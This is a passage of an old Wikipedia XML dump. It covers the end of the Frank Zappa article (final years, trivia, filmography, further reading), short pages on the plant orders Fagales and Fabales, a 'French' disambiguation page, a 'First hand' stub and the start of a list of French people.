In the early 1990s Zappa devoted almost all of his energy to modern orchestral and [[synclavier]] works. In 1991 he was diagnosed with [[prostate cancer]]. Although ill, in [[1992]] he appeared as a guest conductor with the ''[[Ensemble Modern]]'' in a series of concerts in Germany devoted to his compositions, recordings from which appeared on ''[[The Yellow Shark]]''.  

[[Image:Zappa Civilization Phaze III.jpg|thumb|''[[Civilization, Phaze III]]'', 1994]]

During these years, he edited numerous CD collections of concert recordings made throughout his career. In 1993, he completed ''[[Civilization, Phaze III]]'', a major synclavier work he had begun in the 1980s.  He stated in interviews that he was working on hundreds of synclavier pieces, most of which remained unfinished.   

Frank Zappa died on [[December 4]], [[1993]], aged 52 of [[prostate cancer]], and was interred in the [[Westwood Village Memorial Park Cemetery]] in  [[Westwood, Los Angeles, California|Westwood, California]]. 

His grave is unmarked, although its location is known among fans and can be found on the Internet. 

Zappa was inducted into the [[Rock and Roll Hall of Fame]] in 1995. That same year the only known cast of Zappa was installed in the center of [[Vilnius]], the capital of [[Lithuania]].  Zappa was immortalized by [[Konstantinas Bogdanas]], the famous Lithuanian sculptor who had previously cast portraits of [[Vladimir Lenin]].  

In 2002 a bronze bust was installed in a square in [[Bad Doberan]], a small town in the north of [[Germany]], where, since 1990, there has been an international Festival celebrating the music of Frank Zappa, the &quot;[[Zappanale]]&quot;. Zappa received a posthumous [[Grammy Lifetime Achievement Award]] in 1997.

==Trivia==
[[Image:Frank Zappa Statue.jpg|thumb|250px|One public statue of Frank Zappa, in Vilnius, Lithuania. Another one can be seen in Bad Doberan (Germany)]]

* Zappa was married twice, once to Kay Sherman (1959&amp;ndash;1964; no children), and then to Gail (Sloatman) Zappa, with whom he remained until his death.  They have four children: [[Moon Unit Zappa|Moon Unit]], [[Dweezil Zappa|Dweezil]] (born Ian Donald Calvin Euclid Zappa, (the names of his band members) because the hospital refused to put Dweezil on the birth certificate; Dweezil later legally changed  his name to &quot;Dweezil&quot;) (&quot;Dweezil&quot; is also the name Frank had given to one of Gail's toes), [[Ahmet Zappa|Ahmet Emuukha Rodan]], and [[Diva Zappa|Diva Muffin]].  As a guest on ''[[The Tonight Show Starring Johnny Carson|The Tonight Show]]'', chatting with guest-host [[Jay Leno]], Zappa was asked why he had given his children such unusual names.  Zappa answered, in a casual tone of voice, &quot;Because I wanted to!&quot; Zappa once said in an interview that if their names ever gave them problems, it would be because of the ''last'' name.

* He made an appearance on a show hosted by Steve Allen in about 1959. ([http://www.youtube.com/w/FRANK-ZAPPA-1963-ON-STEVE-ALLEN?v=JGITyGUHrdg&amp;search=zappa The clip can be found on YouTube]) This appearance featured Frank demonstrating the wide scope of percussion by playing the spokes of a spinning bicycle wheel with drum sticks. Steve Allen commented years later, after Frank was well known, that Frank was on his show once and had destroyed an automobile on stage.  .

* An old [[rumor]] states that at some point in the [[1960]]s, Zappa once won a gross-out contest by eating his own [[excrement]] on stage. [[Snopes.com]] has said the instance never occurred, and Zappa himself refutes the claim, noting, &quot;For the record, folks: I never took a shit on stage, and the closest I ever came to eating shit anywhere was at a [[Holiday Inn]] buffet in Fayetteville, North Carolina, in 1973.&quot; [http://www.snopes.com/music/artists/grossout.htm]

* Zappa made a [[cameo appearance]] in the [[1968 in film|1968 film]] starring the [[Monkees]], ''[[Head (movie)|Head]]'' with a talking [[cow]]. He also made a cameo appearance on an episode of the Monkees TV series. Here, he was shown destroying a car in a Monkees style montage after being interviewed by Mike Nesmith. Mike and Frank wore cheap disguises and the interview was performed as if Mike was Frank and Frank was Mike.

* Music from his early albums with The Mothers Of Invention is used in the [[1969 in film|1969 film]] [[Medium Cool]]

* He appeared on [[Dick Cavett]]'s interview show in the early 1970's with the Flo and Eddie version of the band, and other interview shows.  

* Zappa was the guest host and musical guest of the October 21, 1978 show of [[Saturday Night Live]]. His sense of humor alienated him from the cast and his mugging-to-the-camera performance has led to [[Lorne Michaels]] never allowing the show to be shown in repeats or on video. In the same show he  portrayed [[Coneheads|Connie Conehead]]'s date.

* He appeared on ''[[What's My Line]]?'' 

* He once played a [[drug dealer]] in the episode &quot;Payback&quot; of [[Miami Vice]]

* Every year since [[1989]], the Zappanale Festival held in [[Germany]] will invite fans to celebrate the music of Frank Zappa. Tribute Bands, often led by ex-members of the different Zappa bands, will perform Zappa's music for three days.

* In 1990, Zappa visited Czechoslovakia at the request of President [[Vaclav Havel]], one of his lifelong fans, and was asked by Havel to serve as Special Amabassador to the West on Trade, Culture and Tourism.  Zappa enthusiastically agreed and began meeting with corporate officials interested in investing in Czechoslovakia.  He told ''The Nation'' &quot;You don't have to know about international financing. You just have to know about composition.&quot;  Bush administration officials pressured Havel to withdraw the appointment, but Havel made Zappa an unofficial cultural attaché anyway.

* Zappa was the voice of [[the Pope]] in the [[1992 in television|1992]] ''[[The Ren and Stimpy Show|Ren and Stimpy]]'' episode ''[[In the Army/Powdered Toast Man|Powdered Toast Man]]. 

* After his death an internet email campaign to the [[International Astronomical Union]]'s Minor Planet Center led to an [[asteroid]] being named in his honor: [[3834 Zappafrank]], the asteroid having been discovered by Czech astronomers. [http://www.klet.org/names/view.php3?astnum=3834] [http://homepage.ntlworld.com/andymurkin/Resources/MusicRes/ZapRes/asteroid.html] Since then other things have been named in his honor including: another asteroid ([[16745 Zappa]]), a [[gene]] (ZapA  gene of [[Proteus mirabilis]], a microbe that  causes urinary tract infections [http://homepage.ntlworld.com/andymurkin/Resources/MusicRes/ZapRes/ZapA.html]), a [[goby]] fish (''[[Zappa confluentus]]'' [http://homepage.ntlworld.com/andymurkin/Resources/MusicRes/ZapRes/fish.html]  ), a [[jellyfish]] (''[[Phialella zappa]]'' [http://homepage.ntlworld.com/andymurkin/Resources/MusicRes/ZapRes/jellyfish.html]), an extinct [[mollusc]] (''[[Amauratoma zappa]]''), and a [[spider]] with an abdominal mark supposedly resembling Zappa's mustache (''[[Pachygnatha zappa]]'' [http://homepage.ntlworld.com/andymurkin/Resources/MusicRes/ZapRes/spider.html]).

* The television cartoon show [[Duckman]] featured the voice of Zappa's son Dweezil and Zappa's music.

* In [[1995]] a series of [[Intel]] PC [[motherboards]] were named after him.  

* His song &quot;Dirty Love&quot; was used in the [[1997]] film ''[[The Ice Storm]]'', and &quot;Watermelon In Easter Hay&quot; was used in the [[2001]] film ''[[Y Tu Mamà También]]''.

* Zappa is mentioned in the ''[[Mystery Science Theater 3000]]'' episode &quot;[[Manos: The Hands of Fate]].&quot;

* 2004 saw the ''First International Conference of Esemplastic Zappology'', organized by Ben Watson and Esther Leslie in London. Renegade academics, poets and sturdy beggars convened to expound Zappological densities with wit and fervour. The proceedings were published in 2005, and a Roman sequel is rumoured for 2006. 

* In January [[2006]], the city of [[Berlin]] renamed a Street 13 in the [[Marzahn]] district the &quot;Frank-Zappa-Strasse.&quot;

* He is referenced in the songs:
** &quot;Winds of Change&quot; - The Animals 
** &quot;[[Smoke on the Water]]&quot; and &quot;MTV&quot; by the legendary British [[Hard Rock]] band, [[Deep Purple]].
** &quot;Sucede&quot; by the Spanish [[Hard Rock]] band, [[Extremoduro]].
** &quot;Ouija&quot; by the Spanish band, [[Gigatron]].
** &quot;Censorshit&quot; by [[the Ramones]]
** &quot;Blood from a Clone&quot; by [[George Harrison]]
** &quot;Thanks&quot; by [[Sublime (band)|Sublime]] (on the [[40 Oz. to Freedom]] album)
** &quot;Scrapbook&quot; by Chicago
** &quot;Weihnachtskaat Vun Nem Flittche Vum Eijetstein&quot; by The Piano has been Drinking

==Note on his name==
As his autobiography ''The Real Frank Zappa Book'' notes, his real name was &quot;Frank&quot;, never &quot;Francis&quot;. Until rediscovering his birth certificate as an adult, Zappa himself believed he had been christened Francis, and he is credited as Francis on some of his early albums.  Some encyclopedias still incorrectly claim that his real name was &quot;Francis&quot;. Zappa is Italian for [[hoe (tool)|hoe]].

==Samples==
*[[Media:HungryFreaks,Daddy.ogg|Download sample]] of &quot;Hungry Freaks, Daddy&quot; from ''[[Freak Out!]]''
*[[Media:We're Only in It for the Money - What's the Ugliest Part of your Body sample.ogg|Download sample]] of &quot;What's the Ugliest Part of Your Body?&quot; from ''[[We're Only in It for the Money]]''.
*[[Media:Fz, bobby brown.ogg|Download sample]] of &quot;Bobby Brown Goes Down&quot; from [[Sheik Yerbouti]].

==Discography==
{{Main|Frank Zappa discography}}

==Filmography==
===Theatrical releases===
* [[200 Motels]] ([[1971]])
* [[Baby Snakes]] ([[1979]])

===Honker Home Video===
* [[The Dub Room Special]] ([[1984]]) 
* [[Video from Hell]] ([[1985]])
* [[Does Humor Belong in Music? (video)|Does Humor Belong in Music?]] ([[1985]])   
* [[The True Story of Frank Zappa's 200 Motels]] ([[1988]]) 
* [[The Amazing Mr. Bickford]] ([[1987]]) 
* [[Uncle Meat (film)|Uncle Meat]] ([[1987]]) 

* [[Roxy &amp; Elsewhere|The Roxy Film]] (to be announced)

==Further reading==
* ''The Real Frank Zappa Book,'' by Frank Zappa and Peter Occhiogrosso, is the definitive Zappa autobiography.  Includes his Senate testimony.
* ''No Commercial Potential--The Saga of Frank Zappa,'' by David Walley
* ''Kenardaki Milyonerler--Zappa by Metin Solmaz, Istanbul 1992, Turkish book, contains a large biography and some lyrics
* ''Frank Zappa; The Negative Dialectics of Poodle Play,'' by Ben Watson, St. Martin's Press (March 1996)   contains extensive notes on history, tours and releases.
* ''In Cold Sweat-Interviews With Really Scary Musicians,'' by Thomas Wictor, contains an extensive interview with [[Scott Thunes]], one of Zappa's most creative bassists.
* ''Lunar Notes-Zoot Horn Rollo's Captain Beefheart Experience,'' by Bill Harkleroad, contains several references about Zappa's collaboration with Don Van Vliet, better known as [[Captain Beefheart]].
*''Mother! the Frank Zappa Story'', by Michael Gray
*''Electric Don Quixote: The Definitive Story of Frank Zappa'', by Neil Slaven
*''Necessity Is... The Early Years of Frank Zappa and the Mothers of Invention'', by Billy James
*''Cosmik Debris: The Collective History and Improvisations of Frank Zappa'', by Greg Russo, Crossfire Pubns; 2nd Rev edition (January 9, 2003), ISBN 0964815702
*''My Brother was a Mother'', by Patrice &quot;Candy&quot; Zappa
*''Them or Us'', by Frank Zappa
*''Under the Same Moon'', by Suzannah Thana Harris
*''Being Frank: My Time with Frank Zappa'', by Nigey Lennon
*''Zappa: A Biography'', by Barry Miles,   Publisher: Grove Press (November 9, 2004), ISBN  080211783X - Contains inaccuracies and opinions of things that Zappa did instead of facts.
*''Dangerous Kitchen: The Subversive World of Zappa'', by Kevin Courrier, ECW Press (June, 2002) ISBN  1550224476
*''Andreas Rausch, &quot;Zappaesk&quot;. ehapa, Köln 2005: ISBN 3-7704-2888-9
*''Frank Zappa, Captain Beefheart, and the Secret History of Maximalism'', by Michel Delville and Andrew Norris. Cambridge: Salt Publishing, 2005.
*''Academy Zappa: Proceedings of the First International Conference of Esemplastic Zappology'', edited by Ben Watson and Esther Leslie, (London: SAF, 2005), ISBN 0946719799

==See also==
*[[List of rock instrumentals]]

==External links==
{{wikiquote}}
*[http://www.zappa.com/ Zappa.com]
*[http://blog.wfmu.org/freeform/2006/02/frank_zappa_ver.html CNN Crossfire interview] with Frank Zappa and John Lofton in 1986 (Quicktime Video)
*[http://www.planetzappa.com/ PlanetZappa - A Tribute To Frank Zappa]
*[http://www.singingfool.com/player.asp?PublishedId=&amp;List=327703|588284&amp;showid= Frank The Dancing Fool on Singing Fool]
*[http://wiki.killuglyradio.com/ Zappa Wiki Jawaka - a wiki dedicated to FZ]
*[http://www.geocities.com/SunsetStrip/6095/ A Tribute to Frank Zappa (much detailed biographical material - click on &quot;Biography&quot;)]
*[http://www.ibiblio.org/mal/MO/philm/zappa/ Philm Freax: Frank Zappa]
*[http://www.tangento.net/prezappa.html Zappa at Tangento's]
*[http://www.thewire.co.uk/archive/essays/zappa.html Don't Do That On Stage Anymore, July 1995, The Wire]
*[http://www.lukpac.org/~handmade/patio/ the zappa patio (detailed discography including bootlegs)]
*[http://globalia.net/donlope/fz/ Information is not knowledge - FZ Lyrics &amp; Else (includes musicians list track by track)]
*[http://members.shaw.ca/fz-pomd/ The Planet Of My Dreams (includes line-ups chronology)]
*[http://www.zappateers.com/ Zappateers - we're only in it for the music]
*[http://www.zapguz.nl/ Zapguz: A fan with some interesting pictures]
*[http://www.debrakadabra.com/ DebraKadabra - Italian FZ Appreciation Consortium]
*[http://www.science.uva.nl/~robbert/zappa/quote/phrases A library of Frank Zappa quotations]
*{{imdb name | id=0953261 | name=Frank Zappa}}
*[http://digilander.libero.it/tcmyc/ Touring Can Make You Crazy]
*[http://uweb.superlink.net/~jdandrea/shrg99-529/p51.html Transcript of Zappa's Senate Testimony]
*[http://www.weirdomusic.com/zappa.htm Zappa at Weirdomusic.com]
*[http://www.ifilm.com/ifilmdetail/2658805 Zappa on Crossfire in 1986]
*[http://www.arf.ru/ ARF: Frank Zappa Scholars Web Page]
*[http://www.rollingstone.com/news/story/5934313/zappa_lives_on_in_lithuania/?rnd=1138372376413 Rolling Stone article about Vilnus Zappa bust]

[[Category:1940 births|Zappa, Frank]]
[[Category:1993 deaths|Zappa, Frank]]
[[Category:20th century classical composers|Zappa, Frank]]
[[Category:American composers|Zappa, Frank]]
[[Category:American guitarists|Zappa, Frank]]
[[Category:American jazz musicians|Zappa, Frank]]
[[Category:American rock musicians|Zappa, Frank]]
[[Category:American songwriters|Zappa, Frank]]
[[Category:Autodidacts|Zappa, Frank]]
[[Category:Experimental composers|Zappa, Frank]]
[[Category:Frank Zappa band members|Zappa, Frank]]
[[Category:Frank Zappa|Zappa, Frank]]
[[Category:Greenwich Village Scene|Zappa, Frank]]
[[Category:Hollywood Walk of Fame|Zappa, Frank]]
[[Category:Humanists|Zappa, Frank]]
[[Category:Musical activists|Zappa, Frank]]
[[Category:People from Baltimore|Zappa, Frank]]
[[Category:Pre-punk groups|Zappa, Frank]]
[[Category:Rock and Roll Hall of Fame inductees|Zappa, Frank]]
[[Category:Sicilian-Americans|Zappa, Frank]]


[[br:Frank Zappa]]
[[da:Frank Zappa]]
[[de:Frank Zappa]]
[[el:Φρανκ Ζάπα]]
[[es:Frank Zappa]]
[[fi:Frank Zappa]]
[[fr:Frank Zappa]]
[[he:פרנק זאפה]]
[[hu:Frank Zappa]]
[[ia:Frank Zappa]]
[[it:Frank Zappa]]
[[ja:フランク・ザッパ]]
[[nl:Frank Zappa]]
[[no:Frank Zappa]]
[[pl:Frank Zappa]]
[[pt:Frank Zappa]]
[[simple:Frank Zappa]]
[[sk:Frank Zappa]]
[[sl:Frank Zappa]]
[[sr:Френк Запа]]
[[fi:Frank Zappa]]
[[sv:Frank Zappa]]
[[tr:Frank Zappa]]</text>
    </revision>
  </page>
  <page>
    <title>Fagales</title>
    <id>10673</id>
    <revision>
      <id>37290106</id>
      <timestamp>2006-01-30T01:14:29Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Fagales
| image = Buchenwald 1.jpg
| image_width = 270px
| image_caption = ''Fagus sylvatica''
| regnum = [[Plant]]ae
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[dicotyledon|Magnoliopsida]]
| ordo = '''Fagales'''
| ordo_authority = [[Adolf Engler|Engler]]
| subdivision_ranks = Families
| subdivision = 
See text.
}}

The '''Fagales''' are an [[order (biology)|order]] of [[flowering plant]]s, including some of the best known [[tree]]s.  They belong among the rosid group of [[dicotyledon]]s. The families now included here are listed at right.

;Families
*[[Betulaceae]] - Birch family
*[[Casuarinaceae]] - She-oak family
*[[Fagaceae]] - Beech family
*[[Juglandaceae]] - Walnut family
*[[Myricaceae]] - Bayberry family
*[[Nothofagus|Nothofagaceae]] - Southern beech family
*[[Rhoiptelea]]ceae - Rhoiptelea family
*[[Ticodendron|Ticodendraceae]] - Ticodendron family

Older texts such as the [[Royal Botanic Gardens, Kew|Kew]] checklist (see external link below) which followed the [[Cronquist system]] only included four families (Betulaceae, Corylaceae, Fagaceae, Ticodendraceae; Corylaceae now being included within Betulaceae). The other families were split into three different orders, placed among the [[Hamamelidae]].  The Casuarinales comprised the single family Casuarinaceae, the Juglandales comprised the Juglandaceae and Rhoipteleaceae, and the Myricales comprised the remaining forms (plus ''[[Balanops]]'').  The change is due to studies suggesting that the Myricales, so defined, are [[paraphyletic]] to the other two groups.

==External links==
*[http://www.mobot.org/MOBOT/Research/APweb/orders/fagalesweb.htm Missouri Botanical Gardens - Fagales]
*[http://www.kew.org/wcb/aboutfag.html Kew checklist - Fagales]

[[Category:Fagales| ]]

[[ca:Fagales]]
[[da:Bøge-ordenen]]
[[de:Buchenartige]]
[[es:Juglandales]]
[[fr:Fagales]]
[[it:Fagales]]
[[la:Fagales]]
[[nl:Fagales]]
[[no:Fagales]]
[[pl:Bukowce]]
[[ru:Букоцветные]]
[[fi:Fagales]]
[[sv:Fagales]]
[[tr:Fagales]]</text>
    </revision>
  </page>
  <page>
    <title>Fabales</title>
    <id>10674</id>
    <revision>
      <id>37290085</id>
      <timestamp>2006-01-30T01:14:19Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Fabales
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = '''Fabales'''
| ordo_authority = [[Edward Ffrench Bromhead|Bromhead]]
| subdivision_ranks = Families
| subdivision = 
[[Fabaceae]] (legumes)&lt;br /&gt;
[[Quillajaceae]]&lt;br /&gt;
[[Polygalaceae]] ([[milkwort]] family)&lt;br /&gt;
[[Surianaceae]]
}}
The '''Fabales''' are an [[order (biology)|order]] of [[flowering plant]]s, included in the [[rosid]] group of [[eudicots]]: in APG it includes the families given at right. Under the older [[Cronquist system]] the other families now treated here were placed in separate orders: the Polygalaceae within the [[Polygalales]], and the others within the [[Rosales]].

{{plant-stub}}

[[Category:Fabales|*]]

[[da:Ærteblomst-ordenen]]
[[de:Schmetterlingsblütenartige]]
[[es:Fabales]]
[[fr:Fabales]]
[[la:Fabales]]
[[nl:Fabales]]
[[no:Fabales]]
[[pl:Bobowe]]
[[fi:Fabales]]
[[tr:Fabales]]</text>
    </revision>
  </page>
  <page>
    <title>Folk Dance</title>
    <id>10675</id>
    <revision>
      <id>15908474</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Folk dance]]
</text>
    </revision>
  </page>
  <page>
    <title>French</title>
    <id>10676</id>
    <revision>
      <id>42075082</id>
      <timestamp>2006-03-03T17:28:28Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{wiktionary}}
{{wikibooks}}
'''French''' can refer to:

*Of or relating to [[France]]
*[[French language]]
*[[French people]]
*[[French (euphemism)]], used in the UK and U.S. as a derogatory term (as in &quot;[[pardon my French]]&quot;)
*[[The French]],  band
*[[Samuel French Ltd]]

People named French:
*[[Charles K. French]] (1860-1952), U.S. actor
*[[Daniel Chester French]] (1850-1931), U.S. sculptor
*[[David French]] (born 1939), Canadian playwright
*[[Dawn French]] (born 1957), British comedienne
*[[Emma Lee French]] (1836-1897), British who settled in the old American West
*[[Fred F. French]] (1883-1936), U.S. real estate tycoon
*[[George French]] (1841-1921), Commissioner of the Northwest Mounted Police
*[[Heather French]], Miss America 2000
*[[Henry French]], American cowboy, member of Billy the Kid's gang
*[[James R. French]], U.S. areospace engineer
*[[John French (musician)|John French]], U.S. drummer
*[[John Alexander French]], Australian corporal of World War II
*[[John French, 1st Earl of Ypres|John Denton Pinkstone French, 1st Earl of Ypres]] (1852-1925), British military commander of World War I
*[[Marilyn French]] (born 1929), U.S. feminist author
*[[Nicci French]], the pseudonym for a couple of London journalists, Nicci Gerrard and Sean French
*[[Nicki French]] is a female singer and dancer born in Carlisle, Cumbria, England
*[[Samuel French]] (1821-1898), U.S. entrepreneur and theatrical publisher
*[[Valerie French]], professional wrestling valet (&quot;Sunshine&quot;)
*[[Victor French]] (1934-1989), U.S. actor
*[[William Percy French]] (1854-1920), Irish songwriter and entertainer

Fictional characters:
*Joseph French, a Detective Inspector appearing in several novels by [[Freeman Wills Crofts]]
*Giles French or &quot;Mr. French&quot; on the television series ''[[Family Affair]]'', played by [[Sebastian Cabot]]

==See also==
*[[Special:Allpages/French|List of all pages beginning with &quot;French&quot;]]
{{disambig}}
[[bg:Френски]]
[[de:Französisch]]
[[es:Francés]]
[[fr:Français]]
[[simple:French]]</text>
    </revision>
  </page>
  <page>
    <title>First hand</title>
    <id>10677</id>
    <revision>
      <id>37840162</id>
      <timestamp>2006-02-02T13:34:05Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <comment>{{cleanup-date|January 2006}}</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

'''First hand''' is where one experiences something personally, in effect, within reach of one's hands, also known as [[first person]].

Other [[points of view]] include [[second person|second hand]] and [[third person]].

==See also==
*[[Hand]]
*[[Right Hand]]
*[[Qualia]]

{{lit-stub}}

----
'''First Hand''' is also a [[philanthropic]], [[nonprofit]] [[foundation (charity)|foundation]] established by the associates of [[Cerner Corporation]]. First Hand helps the families of children with health problems address the financial aspects of their child's healthcare.

== External links ==
* [http://www.firsthandfoundation.org/ First Hand Foundation website]</text>
    </revision>
  </page>
  <page>
    <title>List of French people</title>
    <id>10678</id>
    <revision>
      <id>41723192</id>
      <timestamp>2006-03-01T08:09:08Z</timestamp>
      <contributor>
        <username>Jrleighton</username>
        <id>140144</id>
      </contributor>
      <comment>/* Criminals */ Alain Juppé</comment>
      <text xml:space="preserve">This is a '''list of [[French people]]'''.

==Actors/actresses==
===A===
*[[Isabelle Adjani]]
*[[Renee Adoree|Renée Adorée]]
*[[Anouk Aimée]]
*[[Arletty]]
*[[Antonin Artaud]]
*[[Fanny Ardant]]
*[[Jeanne Aubert]]
*[[Jean-Pierre Aumont]]
*[[Claude Autant-Lara]]
*[[Daniel Auteuil]]
*[[Charles Aznavour]]

===B-C===
*[[Brigitte Bardot]]
*[[Emmanuelle Béart]]
*[[Jean-Paul Belmondo]]
*[[Charles Berling]]
*[[Sarah Bernhardt]]
*[[Suzanne Bianchetti]]
*[[Juliette Binoche]]
*[[Bernard Blier]]
*[[Sandrine Bonnaire]]
*[[Élodie Bouchez]]
*[[Bourvil]]
*[[Charles Boyer]]
*[[Blandine Buriey]]
*[[Guillaume Canet]]
*[[Capucine]]
*[[Martine Carol]]
*[[Leslie Caron]]
*[[Vincent Cassel]]
*[[Maurice Chevalier]]
*[[Aurore Clément]]
*[[Claudette Colbert]]
*[[Clotilde Courau]]

===D-L===
*[[Béatrice Dalle]]
*[[Lili Damita]]
*[[Danielle Darrieux]]
*[[Alain Delon]]
*[[Danièle Delorme]]
*[[Julie Delpy]]
*[[Catherine Deneuve]]
*[[Gérard Depardieu]]
*[[Patrick Dewaere]]
*[[Arielle Dombasle]]
*[[Anny Dupérey]]
*[[Elisa-Rachel Félix]] (Rachel)
*[[Fernandel]]
*[[Brigitte Fossey]]
*[[Louis de Funès]]
*[[Félicité Du Jeu]]
*[[Jean Gabin]]
*[[Annie Girardot]]
*[[Judith Godrèche]]
*[[Eva Green]]
*[[Sacha Guitry]]
*[[Isabelle Huppert]]
*[[Irène Jacob]]
*[[Valérie Kaprisky]]
*[[Virginie Ledoyen]]
*[[Max Linder]]

===M-V===
*[[Marcel Marceau]]
*[[Sophie Marceau]]
*[[Jean Marais]]
*[[Miou-Miou]]
*[[Mistinguett]]
*[[Yves Montand]]
*[[Jeanne Moreau]]
*[[Michèle Morgan]]
*[[Musidora]]
*[[Gérard Philipe]] 
*[[Michel Piccoli]]
*[[Alexia Portal]]
*[[Yvonne Printemps]]
*[[Pérette Pradier]]
*[[Gabrielle Réjane]]
*[[Jean Reno]]
*[[Pierre Richard]]
*[[Jean Rochefort]]
*[[Beatrice Romand]]
*[[Philippine de Rothschild]]
*[[Nathalie Roussel]]
*[[Cheril Sanchez]]
*[[Emmanuelle Seigner]]
*[[Delphine Seyrig]]
*[[Simone Signoret]]
*[[Audrey Tautou]]
*[[Jean-Louis Trintignant]]
*[[Marie Trintignant]]
*[[Michael Vartan]]
*[[Hervé Villechaize]]

==Architects==
*[[Étienne-Louis Boullée]]
*[[Le Corbusier]] ''pseudonym for [[Charles Edouard Jeanneret]]'' (Swiss-born)
*[[Philibert Delorme]]
*[[Pierre Francois Leonard Fontaine]]
*[[Ange-Jacques Gabriel]]
*[[Tony Garnier (architect)|Tony Garnier]]
*[[Hector Guimard]]
*[[Pierre Jeanneret]] (Swiss-born)
*[[Henri Labrouste]]
*[[Claude Nicolas Ledoux]]
*[[Pierre Lescot]]
*[[Francois Mansart]]
*[[Jules Hardouin Mansart]]
*[[Jean Nouvel]]
*[[Charles Percier]]
*[[Claude Perrault]]
*[[Auguste Perret]]
*[[Jacques Germain Soufflot]]
*[[Louis Le Vau]]
*[[Eugène Emmanuel Viollet-le-Duc]]

==Authors==
See also: [[List of French language authors|French language authors]], [[List of French language poets|French language poets]], [[List of French novelists|French novelists]]
===A===
*[[Marcel Achard]] -- playwright and scriptwriter
*[[Alain-Fournier]]
*[[Jean Anouilh]] -- 20th century dramatist
*[[Guillaume Apollinaire]] -- (born Russian) poet
*[[Antonin Artaud]]
===B===
*[[Honoré de Balzac]] -- [[realist]] author
*[[Henri Barbusse]]
*[[Charles-Pierre Baudelaire|Charles Baudelaire]], 19th century poet
*[[Pierre Beaumarchais]], comedy playwright
*[[Simone de Beauvoir]] -- 20th century author
*[[Cyrano de Bergerac]]
*[[Georges Bernanos]]
*[[Tristan Bernard]]
*[[Maurice Blanchot]]
*[[Antoine Blondin]]
*[[Nicolas Boileau-Despréaux|Nicolas Boileau]]
*[[Jacques-Bénigne Bossuet]]
*[[Pierre Boulle]]
*[[Fernand Braudel]]
*[[André Breton]]
*[[Restif de la Bretonne]]
*[[Jean-Anthelme Brillat-Savarin]]
*[[Michel Butor]]

===C-E===
*[[Albert Camus]] -- [[existentialist]] author
*[[Louis-Ferdinand Céline]] -- 20th century author
*[[Blaise Cendrars]]
*[[Aimé Césaire]]-- 20th century author
*[[Nicolas Chamfort]]
*[[René Char]], 20th century poet
*[[François-René de Chateaubriand]]
*[[Pierre Choderlos de Laclos]]
*[[Emil Cioran]]
*[[Paul Claudel]]
*[[Jean Cocteau]] -- 20th century poet and playwright
*[[Colette]]-- 20th century author
*[[Benjamin Constant]]
*[[Pierre Corneille]] -- [[classicism|classicist]] playwright
*[[Darry Cowl]]
*[[Marquis de Custine]] -- travel writer
*[[Robert Desnos]] -- 20th century poet
*[[Denis Diderot]]
*[[Alexandre Dumas, père]], Author
*[[Alexandre Dumas, fils]] -- Playwright/author
*[[Marguerite Duras]] - 20th century novelist
*[[Vanessa Duriès]]
*[[Mircea Eliade]]
*[[Paul Eluard]]

===F-J===
*[[Frantz Fanon]] -- 20th century author, psychiatrist
*[[Léon-Paul Fargue]]
*[[Georges Feydeau]]
*[[Marc Ferro]]
*[[Alain Finkielkraut]] - essayist
*[[Gustave Flaubert]] -- [[realist]] author
*[[Anatole France]]
*[[Marie de France]] -- poet
*[[Romain Gary]]
*[[Jean Genet]]
*[[André Gide]], [[Nobel Prize]] Winner
*[[Jean Giono]]
*[[Jean Giraudoux]]
*[[Françoise Giroud]]
*[[Julien Gracq]]
*[[Julien Green]]
*[[Pierre Guyotat]]
*[[Auguste Himly]], historian
*[[Victor Hugo]] -- novelist, poet, and playwright
*[[Joris-Karl Huysmans]]
*[[Eugène Ionesco]]
*[[Jules-Gabriel Janin]] --author and theatre critic

===L===
*[[Jean de La Bruyère]]
*[[Jean de La Fontaine]]
*[[Pierre Choderlos de Laclos]]
*[[Comte de Lautréamont (Isidore Ducasse)]]
*[[Villiers de L'Isle-Adam]]
*[[Leconte de Lisle]] -- [[parnassian]] poet
*[[Alphonse de Lamartine]]
*[[Jacques Lacan]] - psychoanalyst
*[[Emmanuel Le Roy Ladurie]] - historian
*[[Paul Lafargue]]
*[[Jules Laforgue]]
*[[Jennifer Lamiraqui]]
*[[Valéry Larbaud]]
*[[Maurice Leblanc]], created [[Arsène Lupin]]
*[[Gaston Leroux]]- journalist and author, credited with creating the locked room puzzle mystery novel ''[[Le Mystère de la chambre jaune]]'' ''(The Mystery of the Yellow Room)'' and author of ''[[Le Fantôme de l'Opéra]]'' ''(The Phantom of the Opera)''

===M-N===
*[[Stéphane Mallarmé]] -- poet
*[[Hector Malot]] -- 19th century author
*[[André Malraux]]
*[[Matthieu Marais]] — 18th century lawyer and writer
*[[Marcel Marceau]] — 20th century mime (and member of the [[French Resistance]] in [[World War II]])
*[[Pierre de Marivaux]] - playwright
*[[Clément Marot]] -- poet
*[[Guy de Maupassant]] novelist
*[[François Mauriac]] - [[Roman Catholic]] writer
*[[Prosper Mérimée]] - 19th century novelist
*[[Henri Michaux]]
*[[Catherine Millet]] - art expert, editor and erotic memoirist
*[[Patrick Modiano]]
*[[Molière|Jean Baptiste Poquelin dit Molière]] -- 17th century comedic playwright and actor
*[[Alfred de Musset]] -- 19th century poet
*[[Anaïs Nin]]

===P-R===
*[[Marcel Pagnol]]
*[[Charles Péguy]] -- 20th century poet
*[[Charles Perrault]] -- ''Mother Goose Tales''
*[[Georges Perec]]
*[[Saint-John Perse]]
*[[Roger Peyrefitte]]
*[[Jean Piaget]] - psychologist
*[[Christine de Pizan]], historian, poet, philosopher
*[[Jacques Prévert]] -- 20th century poet
